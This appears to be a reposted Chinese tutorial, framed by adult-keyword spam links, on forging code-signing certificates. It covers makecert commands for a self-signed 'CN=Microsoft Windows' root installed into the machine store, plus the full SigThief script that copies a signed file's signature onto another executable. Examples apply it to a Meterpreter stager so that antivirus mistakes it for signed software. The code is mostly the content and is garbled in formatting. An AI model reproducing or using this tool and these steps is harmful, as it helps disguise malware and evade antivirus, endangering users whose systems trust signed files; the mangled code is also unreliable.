日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁(yè)技術(shù)文章
文章詳情頁(yè)

Python使用sigthief簽發(fā)證書(shū)的實(shí)現(xiàn)步驟

瀏覽:211日期:2022-06-16 08:39:45
目錄制作并簽發(fā)證書(shū):偽造PE文件證書(shū):

證書(shū)制作工具下載: https://github.com/3gstudent/signtools

制作并簽發(fā)證書(shū):

正常情況下,針對(duì)exe簽發(fā)證書(shū)有如下幾個(gè)步驟.

1.查詢一個(gè)程序中存在的證書(shū),可以使用下面三個(gè)命令。

c:> signtools Get-AuthenticodeSignature C:WindowsSystem32ConsentUX.dllc:> signtools signtool.exe verify /v C:WindowsSystem32ConsentUX.dllc:> signtools sigcheck.exe -q C:WindowsSystem32ConsentUX.dll

2.使用makecert命令制作證書(shū),sv-私鑰文件名,ss-主題的證書(shū)存儲(chǔ)名稱,n-證書(shū)頒發(fā)對(duì)象,r-證書(shū)存儲(chǔ)位置。

c:> signtools makecert -n 'CN=Microsoft Windows' -r -sv Root.pvk Root.cerc:> signtools cert2spc Root.cer Root.spcc:> signtools pvk2pfx -pvk Root.pvk -pi 1233 -spc Root.spc -pfx Root.pfx -f

3.注冊(cè)證書(shū)與簽發(fā)證書(shū)。

c:> signtools certmgr.exe -add -c Root.cer -s -r localmachine rootc:> signtools signtool sign /f Root.pfx /p 1233 lyshark.exe

而如果要給PowerShell腳本添加證書(shū),則執(zhí)行如下命令即可.

1.生成證書(shū)文件

c:> makecert -n 'CN=Microsoft Windows' -r -eku 1.3.6.1.5.5.7.3.3 -sv certtest.pvk certtest.cerc:> cert2spc certtest.cer certtest.spcc:> pvk2pfx -pvk certtest.pvk -pi 123123 -spc certtest.spc -pfx certtest.pfx -f

2.給powershell腳本簽名

c:> powershellc:> $cert = Get-PfxCertificate certtest.pfxc:> Set-AuthenticodeSignature -Filepath lyshark.ps1 -Cert $cert偽造PE文件證書(shū):

有些反病毒軟件供應(yīng)商優(yōu)先考慮某些證書(shū)頒發(fā)機(jī)構(gòu)而不檢查簽名是否真正有效,并且有一些只是檢查以查看certTable是否填充了某些值。這個(gè)工具讓你快速將從已簽名的PE文件中刪除簽名并將其附加到另一個(gè)文件,修復(fù)證書(shū)表以對(duì)文件進(jìn)行簽名。

開(kāi)源工具SigThief可用于偽造證書(shū),將下方代碼保存為sigthief.py即可:

import sysimport structimport shutilimport iofrom optparse import OptionParserdef gather_file_info_win(binary):'''Borrowed from BDF...I could just skip to certLOC... *shrug*'''flItms = {}binary = open(binary, ’rb’)binary.seek(int(’3C’, 16))flItms[’buffer’] = 0flItms[’JMPtoCodeAddress’] = 0flItms[’dis_frm_pehdrs_sectble’] = 248flItms[’pe_header_location’] = struct.unpack(’<i’, binary.read(4))[0]# Start of COFFflItms[’COFF_Start’] = flItms[’pe_header_location’] + 4binary.seek(flItms[’COFF_Start’])flItms[’MachineType’] = struct.unpack(’<H’, binary.read(2))[0]binary.seek(flItms[’COFF_Start’] + 2, 0)flItms[’NumberOfSections’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’TimeDateStamp’] = struct.unpack(’<I’, binary.read(4))[0]binary.seek(flItms[’COFF_Start’] + 16, 0)flItms[’SizeOfOptionalHeader’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’Characteristics’] = struct.unpack(’<H’, binary.read(2))[0]#End of COFFflItms[’OptionalHeader_start’] = flItms[’COFF_Start’] + 20#if flItms[’SizeOfOptionalHeader’]: #Begin Standard Fields section of Optional Headerbinary.seek(flItms[’OptionalHeader_start’])flItms[’Magic’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MajorLinkerVersion’] = struct.unpack('!B', binary.read(1))[0]flItms[’MinorLinkerVersion’] = struct.unpack('!B', binary.read(1))[0]flItms[’SizeOfCode’] = struct.unpack('<I', binary.read(4))[0]flItms[’SizeOfInitializedData’] = struct.unpack('<I', binary.read(4))[0]flItms[’SizeOfUninitializedData’] = struct.unpack('<I', binary.read(4))[0]flItms[’AddressOfEntryPoint’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’PatchLocation’] = flItms[’AddressOfEntryPoint’]flItms[’BaseOfCode’] = struct.unpack(’<I’, binary.read(4))[0]if flItms[’Magic’] != 0x20B: flItms[’BaseOfData’] = struct.unpack(’<I’, binary.read(4))[0]# End Standard Fields section of Optional Header# Begin Windows-Specific Fields of Optional Headerif flItms[’Magic’] == 0x20B: flItms[’ImageBase’] = struct.unpack(’<Q’, binary.read(8))[0]else: flItms[’ImageBase’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’SectionAlignment’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’FileAlignment’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’MajorOperatingSystemVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MinorOperatingSystemVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MajorImageVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MinorImageVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MajorSubsystemVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MinorSubsystemVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’Win32VersionValue’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’SizeOfImageLoc’] = binary.tell()flItms[’SizeOfImage’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’SizeOfHeaders’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’CheckSum’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’Subsystem’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’DllCharacteristics’] = struct.unpack(’<H’, binary.read(2))[0]if flItms[’Magic’] == 0x20B: flItms[’SizeOfStackReserve’] = struct.unpack(’<Q’, binary.read(8))[0] flItms[’SizeOfStackCommit’] = struct.unpack(’<Q’, binary.read(8))[0] flItms[’SizeOfHeapReserve’] = struct.unpack(’<Q’, binary.read(8))[0] flItms[’SizeOfHeapCommit’] = struct.unpack(’<Q’, binary.read(8))[0]else: flItms[’SizeOfStackReserve’] = struct.unpack(’<I’, binary.read(4))[0] flItms[’SizeOfStackCommit’] = struct.unpack(’<I’, binary.read(4))[0] flItms[’SizeOfHeapReserve’] = struct.unpack(’<I’, binary.read(4))[0] flItms[’SizeOfHeapCommit’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’LoaderFlags’] = struct.unpack(’<I’, binary.read(4))[0] # zeroflItms[’NumberofRvaAndSizes’] = struct.unpack(’<I’, binary.read(4))[0]# End Windows-Specific Fields of Optional Header# Begin Data Directories of Optional HeaderflItms[’ExportTableRVA’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’ExportTableSize’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’ImportTableLOCInPEOptHdrs’] = binary.tell()#ImportTable SIZE|LOCflItms[’ImportTableRVA’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’ImportTableSize’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’ResourceTable’] = struct.unpack(’<Q’, binary.read(8))[0]flItms[’ExceptionTable’] = struct.unpack(’<Q’, binary.read(8))[0]flItms[’CertTableLOC’] = binary.tell()flItms[’CertLOC’] = struct.unpack('<I', binary.read(4))[0]flItms[’CertSize’] = struct.unpack('<I', binary.read(4))[0]binary.close()return flItmsdef copyCert(exe): flItms = gather_file_info_win(exe) if flItms[’CertLOC’] == 0 or flItms[’CertSize’] == 0:# not signedprint('Input file Not signed!')sys.exit(-1) with open(exe, ’rb’) as f:f.seek(flItms[’CertLOC’], 0)cert = f.read(flItms[’CertSize’]) return certdef writeCert(cert, exe, output): flItms = gather_file_info_win(exe)if not output: output = output = str(exe) + '_signed' shutil.copy2(exe, output)print('Output file: {0}'.format(output)) with open(exe, ’rb’) as g:with open(output, ’wb’) as f: f.write(g.read()) f.seek(0) f.seek(flItms[’CertTableLOC’], 0) f.write(struct.pack('<I', len(open(exe, ’rb’).read()))) f.write(struct.pack('<I', len(cert))) f.seek(0, io.SEEK_END) f.write(cert) print('Signature appended. nFIN.')def outputCert(exe, output): cert = copyCert(exe) if not output:output = str(exe) + '_sig' print('Output file: {0}'.format(output)) open(output, ’wb’).write(cert) print('Signature ripped. nFIN.')def check_sig(exe): flItms = gather_file_info_win(exe) if flItms[’CertLOC’] == 0 or flItms[’CertSize’] == 0:# not signedprint('Inputfile Not signed!') else:print('Inputfile is signed!')def truncate(exe, output): flItms = gather_file_info_win(exe) if flItms[’CertLOC’] == 0 or flItms[’CertSize’] == 0:# not signedprint('Inputfile Not signed!')sys.exit(-1) else:print( 'Inputfile is signed!') if not output:output = str(exe) + '_nosig' print('Output file: {0}'.format(output)) shutil.copy2(exe, output) with open(output, 'r+b') as binary:print(’Overwriting certificate table pointer and truncating binary’)binary.seek(-flItms[’CertSize’], io.SEEK_END)binary.truncate()binary.seek(flItms[’CertTableLOC’], 0)binary.write(b'x00x00x00x00x00x00x00x00') print('Signature removed. nFIN.')def signfile(exe, sigfile, output): flItms = gather_file_info_win(exe)cert = open(sigfile, ’rb’).read() if not output: output = output = str(exe) + '_signed' shutil.copy2(exe, output)print('Output file: {0}'.format(output))with open(exe, ’rb’) as g:with open(output, ’wb’) as f: f.write(g.read()) f.seek(0) f.seek(flItms[’CertTableLOC’], 0) f.write(struct.pack('<I', len(open(exe, ’rb’).read()))) f.write(struct.pack('<I', len(cert))) f.seek(0, io.SEEK_END) f.write(cert) print('Signature appended. nFIN.')if __name__ == '__main__': usage = ’usage: %prog [options]’ parser = OptionParser() parser.add_option('-i', '--file', dest='inputfile', help='input file', metavar='FILE') parser.add_option(’-r’, ’--rip’, dest=’ripsig’, action=’store_true’, help=’rip signature off inputfile’) parser.add_option(’-a’, ’--add’, dest=’addsig’, action=’store_true’, help=’add signautre to targetfile’) parser.add_option(’-o’, ’--output’, dest=’outputfile’, help=’output file’) parser.add_option(’-s’, ’--sig’, dest=’sigfile’, help=’binary signature from disk’) parser.add_option(’-t’, ’--target’, dest=’targetfile’, help=’file to append signature to’) parser.add_option(’-c’, ’--checksig’, dest=’checksig’, action=’store_true’, help=’file to check if signed; does not verify signature’) parser.add_option(’-T’, ’--truncate’, dest='truncate', action=’store_true’, help=’truncate signature (i.e. remove sig)’) (options, args) = parser.parse_args()# rip signature # inputfile and rip to outputfile if options.inputfile and options.ripsig:print('Ripping signature to file!')outputCert(options.inputfile, options.outputfile)sys.exit()# copy from one to another # inputfile and rip to targetfile to outputfileif options.inputfile and options.targetfile:cert = copyCert(options.inputfile)writeCert(cert, options.targetfile, options.outputfile)sys.exit() # check signature # inputfile if options.inputfile and options.checksig:check_sig(options.inputfile) sys.exit() # add sig to target file if options.targetfile and options.sigfile:signfile(options.targetfile, options.sigfile, options.outputfile)sys.exit() # truncate if options.inputfile and options.truncate:truncate(options.inputfile, options.outputfile)sys.exit() parser.print_help() parser.error('You must do something!')

我們需要找一個(gè)帶有證書(shū)的文件,然后通過(guò)使用sigthief.py完成證書(shū)的克隆。此處就拿系統(tǒng)中的ConsentUX.dll演示。

c:> python sigthief.py -i ConsentUX.dll -t lyshark.exe -o check.exeOutput file: check.exeSignature appended.FIN.

也可以從二進(jìn)制文件中獲取簽名并將其添加到另一個(gè)二進(jìn)制文件中

$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe Output file: /tmp/msftesting_tcpview.exeSignature appended. FIN.

將簽名保存到磁盤以供以后使用,提供了一個(gè)轉(zhuǎn)存功能。

$ ./sigthief.py -i tcpview.exe -r Ripping signature to file!Output file: tcpview.exe_sigSignature ripped. FIN.```BASH使用翻錄簽名```BASH$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe Output file: x86_meterpreter_stager.exe_signedSignature appended. FIN.```BASH截?cái)啵▌h除)簽名 這實(shí)際上有非常有趣的結(jié)果,可以幫助您找到重視代碼功能簽名的AV)```BASH$ ./sigthief.py -i tcpview.exe -T Inputfile is signed!Output file: tcpview.exe_nosigOverwriting certificate table pointer and truncating binarySignature removed. FIN.

文章出處:https://www.cnblogs.com/lyshark

以上就是Python使用sigthief簽發(fā)證書(shū)的實(shí)現(xiàn)步驟的詳細(xì)內(nèi)容,更多關(guān)于Python使用sigthief簽發(fā)證書(shū)的資料請(qǐng)關(guān)注好吧啦網(wǎng)其它相關(guān)文章!

標(biāo)簽: Python 編程
相關(guān)文章:
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
蜜臀国产一区二区三区在线播放| 精品亚洲免a| 亚洲精品动态| 精品三级国产| 亚洲精品第一| 欧美gv在线| 国产欧美精品| 中文日韩在线| 亚洲欧洲高清| 欧美日一区二区三区在线观看国产免| 国产精品一区二区三区www| 成人小电影网站| 欧美日韩伊人| 亚洲综合中文| 亚洲深夜福利| 999久久久亚洲| 久久精品国内一区二区三区| 亚洲精品日本| 免费精品视频在线| 亚洲欧美日韩精品一区二区| 国产精品蜜芽在线观看| 国产精品一区二区99| 丝袜美腿亚洲色图| 99在线|亚洲一区二区| 中文字幕在线官网| 欧美国产极品| 麻豆久久一区| 97在线精品| 日韩精品首页| 91久久视频| 亚洲欧美日韩视频二区| 99在线观看免费视频精品观看| 黄色欧美日韩| 亚洲麻豆一区| 国产精品麻豆成人av电影艾秋| 日韩av电影一区| 国产毛片精品| 国产成人a视频高清在线观看| 欧美成a人片免费观看久久五月天| 日本中文字幕视频一区| 欧美日韩一区二区三区不卡视频| 国产精品一区二区美女视频免费看| 国产精品手机在线播放| 精品国产一区二| 欧美日韩亚洲在线观看| 亚洲另类av| 国产一区二区亚洲| 欧美女激情福利| 青草国产精品| 肉色欧美久久久久久久免费看 | 国产日韩三级| 国产精品九九| 福利一区二区免费视频| 2023国产精品久久久精品双| 日韩毛片一区| 欧美国产小视频| 久久不射网站| 福利精品在线| 日韩高清一级| 久久久久久久久丰满| 日本午夜精品视频在线观看| 国产一区二区三区四区五区传媒| 亚洲激情偷拍| 成人一区不卡| 国产乱码精品一区二区三区四区| www成人在线视频| 欧美在线精品一区| 桃色av一区二区| 久久国产精品色av免费看| 日韩欧美一区二区三区在线观看| 亚洲男人在线| 亚洲免费成人| 色婷婷精品视频| 国产在线观看91一区二区三区| 日韩一区二区三区四区五区| 91久久在线| 国产综合激情| 精品日韩一区| 久久爱www成人| 日韩不卡一区二区三区 | 国产精品蜜月aⅴ在线| 久久国产精品久久w女人spa| 成人日韩在线观看| 水蜜桃精品av一区二区| 欧美亚洲tv| 亚洲一二三区视频| 丝袜a∨在线一区二区三区不卡| 视频福利一区| 久久精品导航| 三上亚洲一区二区| 日本午夜精品久久久| 日韩精品一级中文字幕精品视频免费观看 | 日本aⅴ亚洲精品中文乱码| 亚洲一级高清| 91精品91| 中文字幕中文字幕精品| 日本va欧美va精品发布| 国产日产一区| 免费一区二区三区在线视频| 久久精品动漫| 国产精品久久亚洲不卡| 欧美一区三区| 精品视频免费| 亚洲狼人精品一区二区三区| 中文在线а√天堂| 日韩三级久久| 亚洲男女av一区二区| 国产精品草草| 亚洲免费资源| 欧美日韩在线网站| 国产精品久久国产愉拍| 视频一区在线播放| 午夜欧美巨大性欧美巨大| 日韩精品第二页| 91精品蜜臀一区二区三区在线| 欧美精品1区| 日韩精品一区二区三区av| 不卡在线一区二区| 欧美日韩中文字幕一区二区三区| 97精品国产99久久久久久免费| 亚洲精品三级| 日本视频中文字幕一区二区三区| 亚洲欧美网站在线观看| 亚洲涩涩av| 久久激情五月婷婷| 你懂的亚洲视频| 九九久久国产| 日韩精品欧美| 婷婷精品视频| 亚洲婷婷在线| 久久最新视频| 日韩av在线播放中文字幕| 国产精品一区三区在线观看| 国产精品777777在线播放| 精品一区二区三区中文字幕在线| 国产福利片在线观看| 欧美不卡视频| 亚洲毛片视频| 久久久免费人体| 久久精品91| 日韩欧美高清一区二区三区| 国产欧美日韩免费观看| 92国产精品| 亚洲精品123区| 日本综合精品一区| 国产a久久精品一区二区三区| 精品一区三区| 国产精品亚洲综合久久| 久久久久久久久丰满| 亚洲精品欧美| 久久影院午夜精品| 亚洲精品第一| 不卡一二三区| 日韩动漫一区| 激情综合激情| 久久中文字幕导航| 美女日韩在线中文字幕| 国产一区二区三区精品在线观看| 香蕉精品久久| 国产精品久久乐| 亚洲欧美日本日韩| 日韩中文影院| 国产高清日韩| 亚欧洲精品视频在线观看| 九九色在线视频| 国产精品亚洲欧美| 999久久久精品国产| 久久激情五月激情| 丝袜脚交一区二区| 少妇精品导航| 国产激情在线播放| 国产精品18| 日韩精品一级二级| 亚洲精品一区二区妖精| 国产高清日韩| 亚洲人亚洲人色久| 日韩午夜电影| 日本久久成人网| 高清av一区| 免费一级欧美在线观看视频| 久久精品xxxxx| 欧美日韩调教| 久久国产精品色av免费看| 日韩激情中文字幕| 亚洲一区二区av| 香蕉久久国产| 亚洲图片久久| 伊人国产精品| 日本亚洲最大的色成网站www| 在线日韩中文| 99视频在线精品国自产拍免费观看| www成人在线视频| 视频一区中文| 美女国产一区| 日韩成人精品一区二区三区 | 91精品尤物| 国产亚洲第一伦理第一区| 日韩高清在线不卡| 欧美久久精品| 九九99久久精品在免费线bt|